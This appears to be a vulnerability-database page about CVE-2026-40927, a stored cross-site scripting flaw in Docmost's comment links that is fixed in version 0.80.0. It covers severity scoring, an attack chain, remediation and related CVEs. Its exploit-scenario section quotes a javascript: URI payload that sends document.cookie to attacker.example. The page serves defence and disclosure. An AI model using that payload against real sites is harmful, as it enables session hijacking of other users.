Skip to main content

Docmost EUVDEUVD-2026-24487

| CVE-2026-40927 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-21 GitHub_M
5.4
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker authenticates to Docmost instance
  2. Delivery
    Posts comment with javascript: URI embedded as hyperlink
  3. Exploit
    Victim navigates to page and views comment
  4. Execution
    Victim clicks malicious link
  5. Persist
    JavaScript executes in victim's browser under Docmost origin
  6. Impact
    Session token or sensitive data exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid Docmost account with permission to post comments on pages (CVSS PR:L - low privilege authenticated access). The victim must actively click the malicious hyperlink embedded in the comment (CVSS UI:R - required user interaction). The instance must be running Docmost prior to version 0.80.0. No non-default configuration is required beyond the standard comment feature being available to users. Limiting factors are: the authentication barrier preventing unauthenticated exploitation, the mandatory victim click preventing passive exploitation, and the impact ceiling of low-integrity/low-confidentiality browser-scope XSS rather than server-side compromise.

Impact

The CVSS 5.4 Medium score is appropriate for this stored XSS with changed scope. Key constraining signals: PR:L requires the attacker to hold a valid Docmost account with commenting permissions, UI:R mandates the victim actively click the malicious link (not a passive drive-by), and C:L/I:L caps impact to session-level data theft or limited in-context actions rather than full system compromise. SSVC corroborates this: Automatable is 'no' (requires victim interaction per UI:R) and Technical Impact is 'partial'. EPSS at 0.03% (8th percentile) is consistent with a stored XSS in a niche platform with no known public exploit. No CISA KEV listing and SSVC exploitation status 'none' further reduce urgency. This is a genuine, patch-worthy vulnerability but does not warrant emergency response - it is appropriate for a standard patch cycle, particularly given the authentication prerequisite on the attacker side.

Exploit ScenarioDerived

An authenticated Docmost user with comment access inserts a hyperlink in a page comment where the href is set to a javascript: URI (for example, javascript:fetch('https://attacker.example/c?d='+document.cookie)). A colleague or administrator reviews the page, sees the innocuous-looking link text, and clicks it - triggering session cookie exfiltration or in-context actions (page edits, data reads) on behalf of the victim. No public exploit code has been identified at time of analysis, but the attack primitive is trivial to construct manually by anyone familiar with javascript: URI injection.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Stored cross-site scripting in Docmost's comment system allows authenticated users to plant javascript: URI hyperlinks that execute arbitrary JavaScript when victims click them. All Docmost instances prior to version 0.80.0 are affected (CPE: cpe:2.3:a:docmost:docmost:*). No active exploitation has been confirmed - SSVC exploitation status is 'none' and the vulnerability is absent from CISA KEV - and EPSS at 0.03% (8th percentile) indicates minimal real-world exploitation probability. Vendor-released patch is available in version 0.80.0.

RemediationAI

Upgrade Docmost to version 0.80.0 or later, the vendor-confirmed fixed release per advisory GHSA-4gv6-jw3v-wc34 at https://github.com/docmost/docmost/security/advisories/GHSA-4gv6-jw3v-wc34. If immediate upgrade is not feasible, restrict commenting permissions to only explicitly trusted and authenticated users, reducing the pool of potential attackers - note this trades collaboration functionality for security posture. Deploying a Content Security Policy (CSP) header that includes 'script-src' without 'unsafe-inline' and explicitly blocks javascript: URI navigation (via 'default-src' or 'navigate-to' directives) can mitigate execution of injected payloads in modern browsers; however, CSP effectiveness depends on correct web server or reverse-proxy configuration and requires testing against Docmost's frontend to avoid breaking legitimate functionality.

Affected VersionsENISA

docmost < 0.80.0

Affected Packages

euvd docmost fix: 0.80.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Docmost is an open-source collaborative wiki and documentation platform. The flaw is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting): when a user inserts a hyperlink into a comment, Docmost fails to validate or sanitize the URL scheme, permitting the javascript: URI to pass through to rendered HTML. When a victim user clicks the link, the browser executes the embedded JavaScript within Docmost's origin context, inheriting that origin's session cookies and storage. The CVSS S:C (Changed Scope) metric confirms the payload crosses trust boundaries from the comment author's context to the victim's active session, a defining characteristic of stored XSS exploited via user-clickable links.

Know when Docmost gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Authenticated commenter required (PR:L), victim must click link (UI:R), XSS crosses into victim session scope (S:C); no availability impact applies.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
Patch released
Apr 23, 2026 - 15:50 nvd
Patch available
Patch available
Apr 21, 2026 - 22:17 EUVD
CVE Published
Apr 21, 2026 - 20:52 nvd
MEDIUM 5.4

DescriptionCVE.org

Docmost is open-source collaborative wiki and documentation software. Prior to 0.80.0, when leaving a comment on a page, it is possible to include a JavaScript URI as the link. When a user clicks on the link the JavaScript executes. This vulnerability is fixed in 0.80.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Prevalence
Low
newer open-source wiki with limited enterprise adoption
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-57231 HIGH POC
7.5 Sep 10

Unauthenticated path traversal in Docmost v0.21.0's avatar attachment endpoint allows remote attackers to read arbitrary

CVE-2026-24045 HIGH POC
7.3 Feb 10

Stored XSS in Docmost before version 0.25.0 allows authenticated attackers to inject malicious scripts into public share

CVE-2026-22249 HIGH POC
7.1 Jan 15

Docmost versions 0.21.0 through 0.23.x contain a path traversal vulnerability in the zip import feature that allows auth

CVE-2026-23630 MEDIUM POC
5.4 Jan 21

Stored XSS in Docmost 0.3.0-0.23.2 allows authenticated users to execute arbitrary JavaScript in the browsers of documen

CVE-2026-48070 HIGH
7.1 Sep 24

Arbitrary local file and directory deletion on Docmost deployments that use local storage, exploitable by any authentica

CVE-2026-65827 MEDIUM
6.5 Sep 24

Uncontrolled archive extraction in Docmost 0.21.0 through 0.95.0 lets any authenticated workspace member who holds edit

CVE-2026-34213 MEDIUM
5.4 Apr 14

Docmost versions 0.3.0 through 0.70.x allow authenticated users with low privileges to overwrite arbitrary attachments b

CVE-2026-34212 MEDIUM
5.4 Apr 14

Stored cross-site scripting (XSS) in Docmost prior to version 0.71.0 allows authenticated users to inject malicious `jav

CVE-2026-48072 MEDIUM
5.3 Sep 24

Unauthenticated path traversal in Docmost versions prior to 0.80.1 allows a remote attacker to read files from local sto

CVE-2026-52853 MEDIUM
5.2 Sep 24

Workspace ADMIN accounts in Docmost prior to 0.90.1 can mint OWNER-level accounts through the workspace invitation flow,

CVE-2026-33193 MEDIUM
4.6 Apr 14

Stored cross-site scripting (XSS) in Docmost prior to version 0.70.0 allows authenticated attackers to inject malicious

CVE-2026-52850 MEDIUM
4.3 Sep 24

Authenticated workspace members in Docmost prior to 0.90.1 can read confidential sync-block content from private spaces

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy